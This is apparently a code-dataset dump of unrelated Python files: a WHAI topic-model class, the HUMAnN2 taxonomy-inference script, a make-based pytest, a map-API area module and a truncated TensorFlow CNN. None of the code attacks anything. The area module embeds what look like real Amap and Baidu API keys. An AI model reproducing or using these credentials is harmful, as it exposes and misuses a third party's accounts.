self.WSZS[t]\n if (MBObserved == 0):\n self.NDot[t] = self.EWSZS[t].sum(0)\n else:\n self.NDot[t] = (1 - self._ForgetRate[MBObserved]) * self.NDot[t] + self._ForgetRate[MBObserved] * \\\n self.EWSZS[t].sum(0)\n tmp = self.EWSZS[t] + 0.1\n tmp = (1 / np.maximum(self.NDot[t], self._real_min_phi)) * (tmp - tmp.sum(0) * self.global_params.Phi[t])\n tmp1 = (2 / np.maximum(self.NDot[t], self._real_min_phi)) * self.global_params.Phi[t]\n\n tmp = self.global_params.Phi[t] + self._epsit[MBObserved] * tmp + np.sqrt(self._epsit[MBObserved] * tmp1) * np.random.randn(\n self.global_params.Phi[t].shape[0], self.global_params.Phi[t].shape[1])\n self.global_params.Phi[t] = self.ProjSimplexSpecial(tmp, self.global_params.Phi[t], 0)\n\n\n def compute_loss(self, x, theta, k, l):\n '''\n Compute loss with KL divergence and likelihood\n '''\n kl_loss = [0] * self._model_setting.T\n kl_weight = [0.05 for i in range(self._model_setting.T)]\n for i in range(self._model_setting.T):\n if i == self._model_setting.T - 1:\n kl_loss[i] = torch.sum(self.KL_GamWei(torch.tensor(1.0, dtype=torch.float32).to(self.data_device),\n torch.tensor(1.0, dtype=torch.float32).to(self.data_device), k[i], l[i]))\n else:\n kl_loss[i] = torch.sum(\n self.KL_GamWei(torch.matmul(torch.tensor(self.global_params.Phi[i + 1], dtype=torch.float32).to(self.data_device),\n theta[i + 1]), torch.tensor(1.0, dtype=torch.float32).to(self.data_device), k[i],\n l[i]))\n kl_part = [weight * kl for weight, kl in zip(kl_weight, kl_loss)]\n likelihood = torch.sum(\n x.permute(1, 0) * self.log_max(torch.matmul(torch.tensor(self.global_params.Phi[0], dtype=torch.float32).to(self.data_device),\n theta[0])) - torch.matmul(\n torch.tensor(self.global_params.Phi[0], dtype=torch.float32).to(self.data_device), theta[0])\n - torch.lgamma(x.permute(1, 0) + 1))\n return -(torch.sum(torch.stack(kl_part)) + likelihood) / self._model_setting.batch_size, likelihood, torch.sum(\n torch.stack(kl_loss)) + likelihood\n\n def forward(self, x, is_train=False):\n '''\n Inputs:\n x : The batch_size * V count data\n is_train : Whether to update Phi\n\n Outputs:\n theta : The batch_size * K latent matrix\n WHAI_loss, LikeliHood, LB : The loss for optimizing and collecting\n '''\n\n if is_train:\n MBObserved = self.train_num\n theta = [0] * self._model_setting.T\n h = []\n for i in range(self._model_setting.T):\n if i == 0:\n h.append(self.encoder_left(x, i))\n else:\n h.append(self.encoder_left(h[-1], i))\n k = [[] for _ in range(self._model_setting.T)]\n l = [[] for _ in range(self._model_setting.T)]\n\n for i in range(self._model_setting.T - 1, -1, -1):\n if i == self._model_setting.T - 1:\n k[i], l[i] = self.encoder_right(h[i], i, 0, 0)\n else:\n k[i], l[i] = self.encoder_right(h[i], i, self.global_params.Phi[i + 1], theta[i + 1])\n\n k[i] = torch.clamp(k[i], 0.1, 10.0)\n l[i] = torch.clamp(l[i], 1e-10)\n if is_train:\n l[i] = l[i] / torch.exp(torch.lgamma(1.0 + 1.0 / k[i]))\n theta[i] = self.reparameterize(k[i], l[i], i)\n else:\n theta[i] = torch.min(l[i], torch.tensor(1000.0))\n\n WHAI_LOSS, LikeliHood, LB = self.compute_loss(x, theta, k, l)\n if is_train:\n self.train_num += 1\n self.updatePhi(x, theta, self._model_setting.MBratio, MBObserved)\n\n return torch.tensor(theta[0], dtype=torch.float).to(self.data_device).permute(1, 0), WHAI_LOSS, LikeliHood, LB\n\n def train_one_epoch(self, model_opt, dataloader, epoch):\n '''\n Train for one epoch\n Inputs:\n model_opt : Optimizer for model\n dataloader : Train data with form of dataloader\n epoch : Current epoch on training stage\n\n Attributes:\n local_params.theta : Concatenation of theta with total data\n local_params.label : Concatenation of label with total data\n '''\n self.train()\n self.local_params.theta = None\n self.local_params.label = None\n loss_t, likelihood_t, lb_t = 0.0, 0.0, 0.0\n\n train_bar = tqdm(iterable=dataloader)\n for i, (train_data, tfidf, train_label) in enumerate(train_bar):\n train_bar.set_description(f'Epoch [{epoch}/{self._model_setting.n_epochs}]')\n train_bar.set_postfix(loss=loss_t/(i+1), likelihood=likelihood_t/(i+1), lb=lb_t/(i+1))\n\n if self.local_params.label is None:\n self.local_params.label = train_label.detach().numpy()\n else:\n self.local_params.label = np.concatenate((self.local_params.label, train_label.detach().numpy()))\n\n train_data = torch.tensor(train_data, dtype=torch.float).to(self.data_device)\n train_label = torch.tensor(train_label, dtype=torch.long).to(self.data_device)\n\n theta, loss, likelihood, lb = self.forward(train_data, True)\n loss.backward()\n model_opt.step()\n model_opt.zero_grad()\n\n loss_t += loss.cpu().detach().numpy()\n likelihood_t += likelihood.cpu().detach().numpy()\n lb_t += lb.cpu().detach().numpy()\n\n if self.local_params.theta is None:\n self.local_params.theta = theta.cpu().detach().numpy()\n else:\n self.local_params.theta = np.concatenate((self.local_params.theta, theta.cpu().detach().numpy()))\n\n return copy.deepcopy(self.local_params)\n\n def test_one_epoch(self, dataloader):\n '''\n Test for one epoch\n Inputs:\n dataloader : Test data with form of dataloader\n\n Outputs:\n local_theta : Concatenation of theta with total data\n local_label : Concatenation of label with total data\n full data : Total data\n '''\n self.eval()\n full_data = None\n local_theta = None\n local_label = None\n loss_t, likelihood_t, lb_t = 0.0, 0.0, 0.0\n\n test_bar = tqdm(iterable=dataloader)\n with torch.no_grad():\n for i, (test_data, tfidf, test_label) in enumerate(test_bar):\n test_bar.set_description(f'Testing stage: ')\n test_bar.set_postfix(loss=loss_t / (i + 1), likelihood=likelihood_t / (i + 1), lb=lb_t / (i + 1))\n\n if local_label is None:\n local_label = test_label.detach().numpy()\n full_data = test_data\n else:\n local_label = np.concatenate((local_label, test_label.detach().numpy()))\n full_data = np.concatenate((full_data, test_data))\n\n test_data = torch.tensor(test_data, dtype=torch.float).to(self.data_device)\n test_label = torch.tensor(test_label, dtype=torch.long).to(self.data_device)\n\n theta, loss, likelihood, lb = self.forward(test_data, is_train=False)\n\n loss_t += loss.cpu().detach().numpy()\n likelihood_t = likelihood.cpu().detach().numpy()\n lb_t = lb.cpu().detach().numpy()\n\n if local_theta is None:\n local_theta = theta.cpu().detach().numpy()\n else:\n local_theta = np.concatenate((local_theta, theta.cpu().detach().numpy()))\n\n return local_theta, local_label, full_data\n\n\n def save_phi(self, phi_path, epoch):\n self.vision_phi(outpath=f'{phi_path}/{epoch}/')\n torch.save(self.state_dict(), phi_path + '/topic_pretrain_{}.pth'.format(str(self.train_num)))\n with open(phi_path + '/Phi_{}.pkl'.format(str(self.train_num)), 'wb') as f:\n pickle.dump(self.global_params.Phi, f)\n\n\n def load(self, checkpoint_path: str, directory_path: str):\n '''\n Load the model parameters from the checkpoint and the specified directory.\n Inputs:\n model_path : [str] the path to load the model.\n\n '''\n assert os.path.exists(checkpoint_path), 'Path Error: can not find the path to load the checkpoint'\n assert os.path.exists(directory_path), 'Path Error: can not find the path to load the directory'\n\n # load parameters of neural network\n checkpoint = torch.load(checkpoint_path)\n self.load_state_dict(checkpoint['state_dict'])\n\n # load parameters of basic model\n model = np.load(directory_path, allow_pickle=True).item()\n for params in ['global_params', 'local_params', '_model_setting', '_hyper_params']:\n if params in model:\n setattr(self, params, model[params])\n\n def save(self, model_path: str = './save_models'):\n '''\n Save the model to the checkpoint the specified directory.\n Inputs:\n model_path : [str] the path to save the model, default './save_models/WHAI.npy' and './save_models/WHAI.pth'\n '''\n # create the trained model path\n if not os.path.isdir(model_path):\n os.mkdir(model_path)\n\n # save parameters of neural network\n torch.save({'state_dict': self.state_dict()}, model_path + '/' + self._model_name + '.pth')\n print('parameters of neural network have been saved by ' + model_path + '/' + self._model_name + '.pth')\n\n # save parameters of basic model\n model = {}\n for params in ['global_params', 'local_params', '_model_setting', '_hyper_params']:\n if params in dir(self):\n model[params] = getattr(self, params)\n\n np.save(model_path + '/' + self._model_name + '.npy', model)\n print('parameters of basic model have been saved by ' + model_path + '/' + self._model_name + '.npy')\n\n","sub_path":"pydpm/_model/_whai.py","file_name":"_whai.py","file_ext":"py","file_size_in_byte":24238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"410747748","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function # Python 2.7+ required\nimport os\nimport sys\nimport csv\nimport re\nimport argparse\nfrom collections import defaultdict\n\ntry:\n from humann2 import config\n from humann2.tools import util\n from humann2.tools.humann2_table import Table\nexcept ImportError:\n sys.exit( \"CRITICAL ERROR: Unable to find the HUMAnN2 python package.\\n\" +\n \"Please check your install.\" )\n\ntry:\n import numpy as np\nexcept ImportError:\n sys.exit( \"CRITICAL ERROR: This script requires the python scientific stack (e.g. numpy)\" )\n\ndescription = util.wrap( \"\"\"\nHUMAnN2 utility for inferring taxonomy\n\nGiven a gene families file, this script can infer the taxonomy of\nunclassified features based on known lowest command ancestor (LCA)\nannotations of UniRef50/90 clusters. This script can also be applied \nto _any_ HUMAnN2 table to regroup species-level stratifications to \nbroader taxonomic levels (\"species\" mode).\n\"\"\" )\n\n# ---------------------------------------------------------------\n# check that user has the required database file\n# ---------------------------------------------------------------\n\ntry:\n all_mapping_files = os.listdir( config.utility_mapping_database )\nexcept EnvironmentError:\n all_mapping_files = []\n\ndatabases = {\n \"uniref50\": \"uniref50-tol-lca.dat.gz\",\n \"uniref90\": \"uniref90-tol-lca.dat.gz\",\n }\n\nSOMETHING_MISSING = False\nfor key, value in databases.items( ):\n if value not in all_mapping_files:\n SOMETHING_MISSING = True\n else:\n databases[key] = os.path.join( config.utility_mapping_database, value )\n\nif SOMETHING_MISSING:\n sys.exit( \"\"\"\nThis script requires the HUMAnN2 utility data files.\nTo add these to your installation, please execute:\n\n$ humann2_databases --download utility_mapping full $DIR\n\nReplacing, $DIR with the directory to install the databases.\n\"\"\" )\n\n# ---------------------------------------------------------------\n# constants\n# ---------------------------------------------------------------\n\nc_levels = [\n \"Kingdom\",\n \"Phylum\",\n \"Class\",\n \"Order\",\n \"Family\",\n \"Genus\",\n]\n\nc_modes = [\n \"stratified: adjust all strata (UniRef50/90 only)\",\n \"species: adjust species strata only\",\n \"unclassified: adjust unclassified, discarding totals + species (UniRef50/90 only)\",\n \"totals: adjust totals, discarding strata (UniRef50/90 only)\",\n]\nc_mode_names = [k.split( \":\" )[0] for k in c_modes]\n\nc_tol_header = \"# TOL\"\nc_lca_header = \"# LCA\"\nc_bypass = \"AmbiguousBypass\"\nc_na = \"-\"\n\n# ---------------------------------------------------------------\n# helper objects\n# ---------------------------------------------------------------\n\nclass Taxon:\n def __init__( self, name, common, rank, pname, status ):\n self.name = name\n self.common = common\n self.rank = rank\n self.pname = pname\n self.status = status\n\nclass TreeOfLife:\n def __init__( self ):\n self.nodes = {}\n self.connect = {}\n def attach( self, node ):\n self.nodes[node.name] = node\n if node.status != c_bypass:\n self.connect[node.common] = node.name\n def get_lineage( self, common ):\n lineage = []\n if common in self.connect:\n name = self.connect[common]\n while name in self.nodes and name != c_na:\n node = self.nodes[name]\n lineage.append( [node.rank, node.common] )\n name = node.pname\n return lineage\n\n# ---------------------------------------------------------------\n# command-line interface\n# ---------------------------------------------------------------\n\ndef get_args( ):\n \"\"\" Get args from Argparse \"\"\"\n parser = argparse.ArgumentParser(\n description=description,\n formatter_class=argparse.RawTextHelpFormatter,\n )\n util.attach_common_arguments( parser ) \n parser.add_argument( \"-l\", \"--taxonomic-level\",\n choices=c_levels,\n metavar=\"\",\n default=\"Genus\",\n help=util.pretty_grid( c_levels, cols=7,\n desc=\"Level for taxonomic summarization [Default=Genus]:\" ), \n )\n parser.add_argument( \"-r\", \"--resolution\",\n metavar=\"\",\n choices=databases.keys( ),\n help=util.pretty_grid( databases.keys( ), \"Required outside of 'species' mode:\" ),\n )\n parser.add_argument( \"-m\", \"--mode\",\n choices=c_mode_names,\n default=\"stratified\",\n metavar=\"\",\n help=util.pretty_grid( c_modes, cols=1, desc=\"Operating mode [Default=stratified]\" ),\n )\n parser.add_argument( \"-t\", \"--threshold\", \n type=float, \n default=None,\n metavar=\"\",\n help=\"Minimum frequency for a new taxon to be included\\n[Default=0/include everything]\",\n )\n parser.add_argument( \"-w\", \"--taxonomy-report\",\n metavar=\"\",\n default=None,\n help=\"Write a taxonomy report at the specified path.\\n[Default=no report]\",\n )\n parser.add_argument( \"-d\", \"--dev\",\n metavar=\"\",\n help=\"Manually specify a development database\",\n )\n args = parser.parse_args( )\n return args\n\n# ---------------------------------------------------------------\n# utilities\n# ---------------------------------------------------------------\n\ndef simplify( name ):\n return re.sub( \"[^A-Za-z0-9]+\", \"_\", name )\n\ndef genus_taxmap( features ):\n \"\"\"Get species->genus map from HUMAnN2 stratifications\"\"\"\n taxmap = {}\n for feature in features:\n fbase, fname, stratum = util.fsplit( feature )\n if stratum is not None and stratum != util.c_unclassified:\n genus = stratum.split( util.c_taxon_delim )[0]\n taxmap[stratum] = genus\n return taxmap\n\ndef complete_taxmap( features, target_rank, p_datafile ):\n \"\"\"Load full taxonomy from the TOL file\"\"\"\n unirefs = {util.fsplit( k )[0] for k in features}\n unirefs = {k for k in unirefs if \"UniRef\" in k}\n # load tree of life, subset uniref lca annotation and add to taxmap\n tol = TreeOfLife( )\n taxmap = {}\n tol_mode = False\n lca_mode = False\n with util.try_zip_open( p_datafile ) as fh:\n print( \"Loading taxonomic data from: \" + p_datafile, file=sys.stderr )\n for row in csv.reader( fh, csv.excel_tab ):\n if row[0] == c_tol_header:\n print( \" Loading TOL data\", file=sys.stderr )\n tol_mode = True\n continue\n if row[0] == c_lca_header:\n print( \" Loading LCA data\", file=sys.stderr )\n tol_mode = False\n lca_mode = True\n continue\n if tol_mode:\n tol.attach( Taxon( *row ) )\n elif lca_mode:\n uni, lca = row\n if uni in unirefs:\n for rank, common in tol.get_lineage( lca ):\n if rank == target_rank:\n taxmap[uni] = rank.lower( )[0] + \"__\" + simplify( common )\n break\n # augment taxmap with genus-level lineage information for stratified features\n for feature in features:\n feature, name, stratum = util.fsplit( feature )\n if stratum is not None and \"g__\" in stratum:\n genus = stratum.split( util.c_taxon_delim )[0]\n if target_rank == \"Genus\":\n taxmap[stratum] = genus\n else:\n genus = genus.replace( \"g__\", \"\" )\n for rank, common in tol.get_lineage( genus ):\n if rank == target_rank:\n taxmap[stratum] = rank.lower( )[0] + \"__\" + simplify( common )\n break\n return taxmap\n\ndef tax_connect( feature, taxmap ):\n \"\"\"Adjust a feature's taxonomy based on the taxmap\"\"\"\n old = feature\n feature, name, stratum = util.fsplit( feature )\n # get taxonomy based on UniRef annotation (UniRefs only)\n if stratum is None or stratum == util.c_unclassified:\n stratum2 = taxmap.get( feature, util.c_unclassified )\n # get taxonomy based on HUMAnN2 taxonony (any type of feature)\n else:\n stratum2 = taxmap.get( stratum, util.c_unclassified )\n return util.fjoin( feature, name, stratum2 )\n\ndef generate_mapping( table, taxmap, mode ):\n \"\"\"Determine which original-table rows to keep and how to recombine them;\n varies substantially with the --mode option\"\"\" \n mapping = defaultdict( set )\n for f in table.data:\n fbase, fname, stratum = util.fsplit( f )\n # new_f is f with new taxonomy (if found) else \"unclassified\"\n new_f = tax_connect( f, taxmap )\n # community total\n if stratum is None:\n # always keep UNMAPPED\n if f == util.c_unmapped:\n mapping[f].add( f )\n # keep original totals unless in \"unclassified\" mode\n elif mode != \"unclassified\":\n mapping[f].add( f )\n # total becomes a new stratum in \"totals\" mode\n if mode == \"totals\":\n mapping[new_f].add( f )\n # unclassified stratum\n elif stratum == util.c_unclassified:\n # create a new total in unclassified mode and infer\n if mode == \"unclassified\":\n new_tot = util.fjoin( fbase, fname, None )\n mapping[new_tot].add( f )\n mapping[new_f].add( f )\n # infer in stratified mode\n elif mode == \"stratified\":\n mapping[new_f].add( f )\n # just pass through in species mode\n elif mode == \"species\":\n mapping[f].add( f )\n # this must be a known-species stratum\n elif \"s__\" in stratum:\n if mode in [\"stratified\", \"species\"]:\n mapping[new_f].add( f )\n return mapping\n\ndef tax_report( table, path ):\n \"\"\"Write a summary of the new taxa in the output table\"\"\"\n # s --> stratum throughout this function\n stacks = {}\n for f in table.data:\n fbase, fname, s = util.fsplit( f )\n if s is not None:\n stacks.setdefault( s, [] ).append( table.data[f] )\n totals = table.zeros( )\n # sum within-sample, normalize to sample totals\n masses = {}\n for s, stack in stacks.items( ):\n masses[s] = np.sum( np.vstack( stack ), axis=0 )\n totals += masses[s]\n masses = {s:np.mean( row/totals ) for s, row in masses.items( )}\n # report\n with util.try_zip_open( path, \"w\" ) as fh:\n print( \"Taxon\\tMean % of new abundance\", file=fh )\n for s in sorted( masses, key=lambda x: -masses[x] ):\n if masses[s] > 0:\n print( \"{}\\t{:.1f}\".format( s, 100 * masses[s] ), file=fh )\n\ndef load_appropriate_taxmap( table, args ):\n # infer taxmap from humann2 stratifications\n if args.mode == \"species\" and args.taxonomic_level == \"Genus\":\n taxmap = genus_taxmap( table.data.keys( ) )\n # get from the uniref50 tol file, although no uniref data needed\n elif args.mode == \"species\":\n taxmap = complete_taxmap( table.data.keys( ), args.taxonomic_level, databases[\"uniref50\"] )\n # load a dev taxmap\n elif args.dev is not None:\n taxmap = complete_taxmap( table.data.keys( ), args.taxonomic_level, args.dev )\n # fail if the specific taxmap doesn't exist\n elif args.resolution not in databases:\n sys.exit( (\"CRITICAL ERROR: Outside of 'species' mode you must specify your UniRef resolution\\n\"\n \"using the -r/--resolution flag\") )\n # typical case\n else:\n taxmap = complete_taxmap( table.data.keys( ), args.taxonomic_level, databases[args.resolution] )\n # optionally forget very rare taxa in the taxmap\n if args.threshold > 0:\n counts = {}\n for old, new in taxmap.items( ):\n counts[new] = counts.get( new, 0 ) + 1\n total = float( sum( counts.values( ) ) )\n counts = {k:v/total for k, v in counts.items( )}\n for old, new in taxmap.items( ):\n if counts[new] < args.threshold:\n taxmap[old] = util.c_unclassified\n # done\n return taxmap\n\ndef summarize_success( mapping, args ):\n \"\"\"print a summary of features that are no longer unclassified after mapping\"\"\"\n total = set( )\n unclass = set( )\n for f in mapping:\n fbase, fname, stratum = util.fsplit( f )\n if stratum is not None:\n total.add( fbase )\n if stratum == util.c_unclassified:\n unclass.add( fbase )\n success = total - unclass\n success_rate = 0\n if len( total ) > 0:\n success_rate = 100 * len( success ) / float( len( total ) )\n print( \"Reclassification summary:\", file=sys.stderr )\n print( \" Level: {}\".format( args.taxonomic_level ), file=sys.stderr )\n print( \" Features considered: {:,}\".format( len( total ) ), file=sys.stderr )\n print( \" Fully classified at target level: {:,} ({:.1f})%\".format( \n len( success ), success_rate ), file=sys.stderr )\n\n# ---------------------------------------------------------------\n# main\n# ---------------------------------------------------------------\n\ndef main( ):\n args = get_args( )\n table = Table( args.input, last_metadata=args.last_metadata )\n # make a taxmap\n print( \"Building taxonomic map for input table\", file=sys.stderr )\n taxmap = load_appropriate_taxmap( table, args )\n # reindex the table\n print( \"Reindexing the table\", file=sys.stderr )\n mapping = generate_mapping( table, taxmap, args.mode )\n # rebuild the table\n print( \"Rebuilding the input table\", file=sys.stderr )\n new_data = {}\n for f in mapping:\n new_data[f] = table.zeros( )\n for f2 in mapping[f]:\n new_data[f] += table.data[f2]\n new_table = Table( new_data, metadata=table.metadata, headers=table.headers )\n # report on performance\n summarize_success( mapping, args )\n # output\n new_table.write( args.output, unfloat=True )\n # write tax report?\n if args.taxonomy_report is not None:\n print( \"Writing taxonomy report to <{}>\".format( args.taxonomy_report ), file=sys.stderr )\n tax_report( new_table, args.taxonomy_report )\n\nif __name__ == \"__main__\":\n main( )\n","sub_path":"humann2/tools/infer_taxonomy.py","file_name":"infer_taxonomy.py","file_ext":"py","file_size_in_byte":14747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"81075795","text":"#!/usr/bin/env python\n\nimport subprocess\nimport os\n\nsource = \"compute.cu\"\n\ndef setup_module(module):\n THIS_DIR = os.path.dirname(os.path.abspath(__file__))\n os.chdir(THIS_DIR)\n\ndef teardown_module(module):\n cmd = [\"make -f Makefile.0 clean\"]\n cmdOutput = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)\n\ndef test_1():\n cmd = [\"make -f Makefile.0\"]\n cmdOutput = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)\n \n # it should find one time instrumention with 0.0, not with 0 (integer) \n numbwerOfTransformations = 0\n fd = open(source, \"r\")\n for l in fd:\n if \"_FPC_CHECK_(0.\" in l:\n numbwerOfTransformations = numbwerOfTransformations + 1\n fd.close()\n \n assert numbwerOfTransformations == 1\n","sub_path":"tests/clang_plugin/static/test_constant_expressions/test_constant_expressions.py","file_name":"test_constant_expressions.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182379718","text":"# -*- coding: utf-8 -*-\n# @Time : 19-1-2 下午3:29\n\n\n# 与Area模型相关的数据库操作存储位置\nimport json\nimport os\nimport random\nimport sys\nfrom urllib import request\n\nimport requests\n\nfrom api.common_func.city_code import city_codes, level_code\nfrom api.models.models import Area, row2dict, db, Area_rate, NearbyArea\n\n\nclass AreaM(object):\n def get_all(self):\n areas = Area.query.all()\n return areas\n\n def list_all(self):\n areas = Area.query.all()\n json_list = []\n for i in areas:\n json_dict = {}\n json_dict[\"area_id\"] = i.id\n # json_dict[\"rate_id\"] = i.rate_id\n json_dict[\"cen_loc\"] = i.locations['cen']\n json_dict[\"locations\"] = i.locations\n level = AreaRateM().get(i.rate_id)['rate_level']\n # print(level)\n sur = i.surrounds['surrounds'][0]['title'] if i.surrounds['surrounds'] else \" \"\n # print(sur)\n rate_level = level_code[str(level)] if level else \" \"\n json_dict[\"level\"] = level\n json_dict[\"surrounds\"] = sur\n json_dict[\"area_rate\"] = rate_level\n json_dict[\"business\"] = i.business\n json_dict[\"address\"] = i.address\n json_dict['active'] = i.active\n json_list.append(json_dict)\n\n return json_list\n\n def get(self, id):\n res = Area.query.get(id)\n\n if res:\n return row2dict(res)\n else:\n return None\n\n def get_obj(self, id):\n res = Area.query.get(id)\n if res:\n return res\n else:\n return None\n\n def get_active_obj(self):\n res = Area.query.filter(Area.active == 1)\n return res\n\n def add_new(self, **args):\n new_co = Area(**args)\n db.session.add(new_co)\n db.session.commit()\n return self.get(new_co.id)\n\n def update(self, id, param):\n # print id, param\n Area.query.filter(Area.id == id).update(param)\n db.session.commit()\n return 'success'\n\n def delete(self, id):\n tmp = Area.query.filter(Area.id == id)\n db.session.delete(tmp.one())\n db.session.commit()\n return 'success'\n\n def get_area(self, name):\n res = Area.query.filter(Area.city_name == name)\n return res\n\n @staticmethod\n def set_area():\n temp = os.getcwd()\n with open(temp + '/models/mapAll.json', encoding='utf-8') as f:\n # with open(temp + '/api/models/mapAll.json', encoding='utf-8') as f:\n res = json.load(f)\n # print(res)\n f.close()\n for i in res:\n # lng:经度,lat:纬度\n # 区域坐标:\n locations = {\n 'cen': i['cen'],\n 'lt': i['lt'],\n 'ld': i['ld'],\n 'rt': i['rt'],\n 'rd': i['rd']\n }\n # 周边建筑群:\n surs = {\n 'surrounds': i['detail']['surroundingPois']\n }\n count = len(surs['surrounds'])\n business = i['detail']['business']\n city_name = i['detail']['addressComponents']['city']\n address = i['detail']['address']\n if city_name:\n city_code = city_codes[city_name] if city_name else \"\"\n else:\n city_name = ' '\n city_code = ' '\n # 将数据存储在数据库中\n areas = AreaM()\n if count < 1:\n areas.add_new(city_name=city_name, city_code=city_code, locations=locations, surrounds=surs,\n sur_count=count, business=business, address=address, rate_id=2)\n else:\n areas.add_new(city_name=city_name, city_code=city_code, locations=locations, surrounds=surs,\n sur_count=count, address=address, business=business, rate_id=1)\n\n return 'set data successfully!'\n\n @staticmethod\n def update_area_description():\n areas = AreaM().get_all()\n for i in areas:\n lng, lat = i.locations['cen']['lng'], i.locations['cen']['lat']\n loc = '{0},{1}'.format(lng, lat)\n # location_url = \"http://api.map.baidu.com/geocoder/v2/?callback=renderReverse&location=35.658651,139.745415\" \\\n # \"&output=json&pois=1&latest_admin=1&ak=您的ak //GET请求\"\n\n res = requests.get(\n url=\"https://restapi.amap.com/v3/geocode/regeo\",\n params={\n \"key\": \"1307e088b2362d9d10bb5a3a26a4c29e\",\n \"output\": \"json\",\n \"location\": loc,\n \"radius\": 1000\n }\n )\n result = res.json()['regeocode']['formatted_address']\n if result:\n param = {\"area_description\": result}\n AreaM().update(i.id, param)\n # print('update successfully.')\n else:\n param = {\"area_description\": i.city_name}\n AreaM().update(i.id, param)\n\n\nclass AreaRateM(object):\n def list_all(self):\n pass\n\n def get(self, id):\n res = Area_rate.query.filter(Area_rate.id == id).one_or_none()\n return row2dict(res)\n\n def add_new(self, **args):\n new_co = Area_rate(**args)\n db.session.add(new_co)\n db.session.commit()\n return self.get(new_co.id)\n\n def get_obj(self, level):\n res = Area_rate.query.filter(\n Area_rate.rate_level == level).one_or_none()\n return row2dict(res)\n\n\nclass NearbyM(object):\n def list_all(self):\n nearby = NearbyArea.query.all()\n return nearby\n\n def get(self, id):\n res = NearbyArea.query.filter(NearbyArea.id == id).one_or_none()\n return row2dict(res)\n\n def get_nearby(self, area_id):\n res = NearbyArea.query.filter(\n NearbyArea.area_id == area_id).one_or_none()\n return row2dict(res)\n\n def add_new(self, **args):\n new_co = NearbyArea(**args)\n db.session.add(new_co)\n db.session.commit()\n return self.get(new_co.id)\n\n\ndef gen_loc(area_id):\n \"\"\"\n 根据区域id随机生成该区域的坐标,并获取地址名称\n :param area_id: 区域id\n \"\"\"\n res = AreaM().get(area_id)\n if res:\n lt_lat = res['locations']['lt']['lat']\n ld_lat = res['locations']['ld']['lat']\n ld_lng = res['locations']['ld']['lng']\n rd_lng = res['locations']['rd']['lng']\n gen_lat = round(random.uniform(ld_lat, lt_lat), 6)\n gen_lng = round(random.uniform(ld_lng, rd_lng), 6)\n loc = '{0},{1}'.format(gen_lat, gen_lng)\n loc_name = gen_locname(loc)\n return loc, loc_name\n else:\n return None\n\n\ndef gen_locname(loc):\n \"\"\"\n 根据百度地图api获取地址名称\n :param loc: (lat,lng)\n \"\"\"\n ak = '1mGq6bdr1Ys05haNBw755UGc4tAEDsEe'\n res = requests.get(\n url=\"https://api.map.baidu.com/reverse_geocoding/v3/?ak=\" + ak,\n params={\n \"output\": \"json\",\n \"location\": loc,\n \"coordtype\": \"wgs84ll\"\n }\n ).json()\n return res.get('result')['formatted_address']\n\n\nclass HandlePois(object):\n \"\"\"\n 运用高德地图api获取相关指标确定不同区域的定性\n \"\"\"\n\n def __init__(self):\n self.key = ''\n\n def car_wash_pois(self, location, radius):\n '''洗车店附近的poi'''\n\n url = 'https://restapi.amap.com/v3/place/around?key=%s&types=010500' % self.key\n res = requests.get(\n url=url,\n params={\n \"location\": location,\n \"output\": \"json\",\n \"radius\": radius,\n \"page\": 1,\n \"extensions\": \"all\",\n \"offset\": 20\n }\n ).json()\n return res['pois']\n\n def restaurant_pois(self, location, radius):\n '''餐馆附近的poi'''\n # url = 'https://restapi.amap.com/v3/place/around?key=%s' \\\n # '&location=%s&keywords=&types=%s&radius=3000&offset=20&page=1&extensions=all' \\\n # % (self.key, location, types)\n url = 'https://restapi.amap.com/v3/place/around?key=%s&types=050100' % self.key\n res = requests.get(\n url=url,\n params={\n \"location\": location,\n \"output\": \"json\",\n \"radius\": radius,\n \"page\": 1,\n \"extensions\": \"all\",\n \"offset\": 20\n }\n ).json()\n return res['pois']\n\n def area_carwash_pois(self):\n areas = AreaM().list_all()\n car_cost = {}\n for i in areas:\n cen_loc = i['cen_loc']\n pois = self.car_wash_pois(cen_loc, 3000)\n cost = []\n for j in pois:\n c = j['biz_ext']['cost']\n cost.append(c)\n car_cost[i['area_id']] = cost\n return car_cost\n\n def area_restaurant_pois(self):\n areas = AreaM().list_all()\n restaurant_cost = {}\n for i in areas:\n cen_loc = i['cen_loc']\n pois = self.car_wash_pois(cen_loc, 3000)\n cost = []\n for j in pois:\n c = j['biz_ext']['cost']\n cost.append(c)\n restaurant_cost[i['area_id']] = cost\n return restaurant_cost\n","sub_path":"api/common_func/area.py","file_name":"area.py","file_ext":"py","file_size_in_byte":9427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"211416591","text":"import tensorflow as tf\n\n\nclass Model(object):\n\tdef __init__(self, batch_size=32, learning_rate=1e-4, num_labels=15):\n\t\tself._batch_size = batch_size\n\t\tself._learning_rate = learning_rate\n\t\tself._num_labels = num_labels\n\t\n\tdef inference(self, images, keep_prob):\n\t\twith tf.name_scope('input'):\n\t\t\tx = tf.reshape(images, [-1, 64, 64, 3])\n\t\t\tself.activation_summary(x)\n\t\t\t\n\t\twith tf.variable_scope('conv1') as scope:\n\t\t\tkernel = self.weights([5, 5, 3, 32])\n\t\t\tconv = self.conv(x, kernel)\n\t\t\tbias = self.bias([32])\n\t\t\tpreactivation = tf.nn.bias_add(conv, bias)\n\t\t\tconv1 = tf.nn.relu(preactivation, name=scope.name)\n\t\t\tprint (conv1.get_shape())\n\t\t\tself.activation_summary(conv1)\n\t\t\twith tf.variable_scope('visualization'):\n\t\t\t\t# scale weights to [0 1], type is still float\n\t\t\t\tx_min = tf.reduce_min(kernel)\n\t\t\t\tx_max = tf.reduce_max(kernel)\n\t\t\t\tkernel_0_to_1 = (kernel - x_min) / (x_max - x_min)\n\t\t\t\t# to tf.image_summary format [batch_size, height, width, channels]\n\t\t\t\tkernel_transposed = tf.transpose (kernel_0_to_1, [3, 0, 1, 2])\n\t\t\t\t# this will display random 3 filters from the 64 in conv1\n\t\t\t\ttf.summary.image('conv1/filters', kernel_transposed, max_outputs=64)\n\t\t\n\t\twith tf.variable_scope('conv2') as scope:\n\t\t\tkernel = 